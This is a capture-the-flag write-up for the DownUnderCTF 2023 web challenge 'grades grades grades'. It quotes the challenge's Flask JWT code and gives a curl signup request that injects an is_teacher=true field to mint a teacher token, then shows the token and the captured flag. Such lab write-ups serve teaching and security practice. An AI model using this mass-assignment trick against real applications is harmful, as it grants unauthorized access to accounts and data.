DownUnderCTF 2023 - grades grades grades

Posted on Dec 18, 2023
tl;dr: Sign up and see those grades :D! How well did you do this year's subject?

grades grades grades 158pts web

We are presented with a web page for teacher/student interaction students are able to see their marks, teaches can grade assignments. So I think the goal here is to get the teacher role.

We can signup to get JWT saved in a cookie.

When signing up normally we see that we do not have a teacher role https://web-grades-grades-grades-c4627b227382.2023.ductf.dev/grades yet…

Looking at the code a bit the following two functions look interesting

def requires_teacher(f):
    @wraps(f)
    def decorated(*args, **kwargs):
        token = request.cookies.get('auth_token')
        if not token:
            return jsonify({'message': 'Token is missing'}), 401
        try:
            data = decode_token(token)
            if data is None or data.get("is_teacher") is None:
                return jsonify({'message': 'Invalid token'}), 401
            if data['is_teacher']:
                request.user_data = data
            else:
                return jsonify({'message': 'Invalid token'}), 401
        except jwt.DecodeError:
            return jsonify({'message': 'Invalid token'}), 401

        return f(*args, **kwargs)

    return decorated
def create_token(data):
    token = jwt.encode(data, SECRET_KEY, algorithm='HS256')
    return token

Seems like the data used to create the JWT is not validated at all. Could we just supply is_teacher when signing up to get elevated priviledges JWT?

curl -L -c /tmp/cookies.txt 'https://web-grades-grades-grades-c4627b227382.2023.ductf.dev/signup' \
  -H 'authority: web-grades-grades-grades-c4627b227382.2023.ductf.dev' \
  -H 'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \
  -H 'accept-language: en-US,en;q=0.9,cs-CZ;q=0.8,cs;q=0.7' \
  -H 'cache-control: max-age=0' \
  -H 'content-type: application/x-www-form-urlencoded' \
  -H 'dnt: 1' \
  -H 'origin: https://web-grades-grades-grades-c4627b227382.2023.ductf.dev' \
  -H 'referer: https://web-grades-grades-grades-c4627b227382.2023.ductf.dev/signup' \
  -H 'sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"' \
  -H 'sec-ch-ua-mobile: ?0' \
  -H 'sec-ch-ua-platform: "Windows"' \
  -H 'sec-fetch-dest: document' \
  -H 'sec-fetch-mode: navigate' \
  -H 'sec-fetch-site: same-origin' \
  -H 'sec-fetch-user: ?1' \
  -H 'sec-gpc: 1' \
  -H 'upgrade-insecure-requests: 1' \
  -H 'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36' \
  --data-raw 'stu_num=curaksad&stu_email=curak%40curaks.cz&password=curaks&is_teacher=true' \
  --compressed

Lets grab the newly crafted JWT

cat /tmp/cookies.txt
# Netscape HTTP Cookie File
# https://curl.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.

#HttpOnly_web-grades-grades-grades-c4627b227382.2023.ductf.dev  FALSE   /       FALSE   0       auth_token      eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdHVfbnVtIjoiY3VyYWtzYWQiLCJzdHVfZW1haWwiOiJjdXJha0BjdXJha3MuY3oiLCJwYXNzd29yZCI6ImN1cmFrcyIsImlzX3RlYWNoZXIiOiJ0cnVlIn0.6FdfucpfZsYxxd8KSCcBbKibcQ9Gw9sEnhXJ-bB-ipU

Now we can try changing the JWT to this teacher token - it looks like it worked as we see the role being teacher now.

Accesing /grades_flag presents us with a flag

SUBJECT    GRADE
Flag    DUCTF{Y0u_Kn0W_M4Ss_A5s1GnM3Nt_c890ne89c3}